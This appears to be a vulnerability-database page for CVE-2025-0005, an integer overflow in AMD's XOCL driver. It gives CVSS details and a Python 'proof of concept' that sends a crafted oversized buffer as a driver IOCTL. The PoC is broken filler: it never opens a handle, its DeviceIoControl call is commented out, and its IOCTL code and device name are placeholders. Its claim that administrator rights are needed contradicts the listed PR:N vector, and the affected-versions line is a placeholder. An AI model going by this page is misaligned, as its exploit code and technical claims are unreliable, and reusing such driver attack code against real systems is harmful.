Improper input validation within the XOCL driver may allow a local attacker to generate an integer overflow condition, potentially resulting in crash or denial of service.
CVSS Details
CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
Configurations (Affected Products)
No configuration data available.
AMD XOCL驱动程序 < 受影响版本（需查询AMD官方公告获取具体版本号）
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-0005 PoC - AMD XOCL Driver Integer Overflow
# This PoC demonstrates triggering integer overflow in AMD XOCL driver
# Note: This is for educational/research purposes only
import ctypes
import struct
import os
# Windows kernel driver interaction structures
class XOCL_IOCTL(ctypes.Structure):
_fields_ = [
("input_buffer", ctypes.c_void_p),
("input_size", ctypes.c_ulong),
("output_buffer", ctypes.c_void_p),
("output_size", ctypes.c_ulong)
]
def create_malicious_input():
"""Generate malicious input to trigger integer overflow"""
# Large size value that can cause integer overflow
# when combined with certain operations in XOCL driver
malicious_size = 0xFFFFFFFF # Max uint32 value
# Crafted buffer that, when processed with malicious_size,
# causes integer overflow in size calculations
input_data = struct.pack('<I', malicious_size)
input_data += b'\x00' * 16 # Additional crafted data
return input_data
def trigger_vulnerability():
"""
Attempt to trigger CVE-2025-0005 by sending malicious IOCTL
to XOCL driver. This requires appropriate driver handle.
"""
# Open XOCL driver device handle
# Device name varies by Windows version
device_name = "\\\\.\\XoclDriver"
try:
# Create malicious input buffer
malicious_input = create_malicious_input()
# IOCTL code for XOCL driver operation
# (Actual IOCTL code would be obtained from driver documentation)
ioctl_code = 0x222000 # Example IOCTL code
# Prepare IOCTL request structure
ioctl_request = XOCL_IOCTL()
ioctl_request.input_buffer = ctypes.cast(
ctypes.create_string_buffer(malicious_input),
ctypes.c_void_p
)
ioctl_request.input_size = len(malicious_input)
ioctl_request.output_buffer = None
ioctl_request.output_size = 0
print("[*] Sending malicious request to XOCL driver...")
print(f"[*] Input size: {len(malicious_input)} bytes")
print(f"[*] IOCTL Code: 0x{ioctl_code:08X}")
# Send IOCTL request (requires admin privileges)
# result = ctypes.windll.kernel32.DeviceIoControl(
# driver_handle,
# ioctl_code,
# ctypes.byref(ioctl_request),
# ctypes.sizeof(ioctl_request),
# None, 0, None, None
# )
# Note: Actual exploitation requires:
# 1. Administrator privileges
# 2. Proper driver handle access
# 3. Correct IOCTL code for vulnerable function
print("[!] This PoC requires modifications for target system")
print("[!] Use only in authorized testing environments")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-0005 - AMD XOCL Driver Integer Overflow PoC")
print("=" * 60)
trigger_vulnerability()